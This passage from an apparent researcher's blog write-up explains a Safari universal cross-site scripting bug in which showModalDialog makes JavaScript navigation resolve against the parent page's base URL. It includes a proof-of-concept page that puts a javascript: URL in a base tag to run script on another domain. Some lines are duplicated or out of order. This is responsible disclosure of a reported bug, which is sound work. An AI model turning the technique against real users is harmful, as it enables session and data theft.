showModalDialog method.Preconditions for Attack
To attack using this bug, we need two conditions:
- The target page navigates to the relative URL using JavaScript. (e.g.
location="/",window.open("/","_blank")) - That navigation is done after the completion of the page loading.
I created the page that satisfies it:
<script>
function go_top(){
location="/index.html";
}
</script>
<button onclick=go_top()>Top Page</button>
This page's only purpose is that navigates to https://vulnerabledoma.in/index.html when the user click the "Top Page" button.
I think there are pages like that everywhere. But using this bug, we can do XSS attack in this conditions.
The Bug
Now, let's use the
showModalDialog method.
The following page only opens the target page in a modal dialog:
https://l0.cm/safari_uxss_showModalDialog/example.html
<script>
function go(){
showModalDialog("https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>
What will happen when we click the "Top Page" button in the modal dialog? Needless to say, we will go to https://vulnerabledoma.in/index.html. But Safari was different. Surprisingly, Safari navigated to https://l0.cm/index.html. Obviously, Safari mistakes the parent window's base URL for the modal window's base URL.
(Side Note: This behavior exists in only the JavaScript navigation APIs. For example, the
(Side Note: This behavior exists in only the JavaScript navigation APIs. For example, the
<a> tag and xhr.open("GET",[URL]) used the correct URL. )Developing XSS attacks
According to html5sec.org #42, Safari allows to set thejavascript: URL to the base tag. So, I thought that I might be able to XSS if I set the javascript: URL to the base tag in the parent page.And my assumption was correct. This is final PoC:
<!DOCTYPE html>If it goes well, you can see an alert dialog when you click "Top Page" button, like the following screen shot:
<html>
<head>
<base href="javascript://%0Aalert%28document.domain%29%2F/">
</head>
<body>
<script>
function go(){
showModalDialog("http://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>
</body>
</html>
Yay!
Conclusion
I wrote about Safari's UXSS bug. I reported this bug on June 15, 2015. This bug was living in WebKit for over a year after I reported.If I find interesting bug, I'll share again :D Thanks!
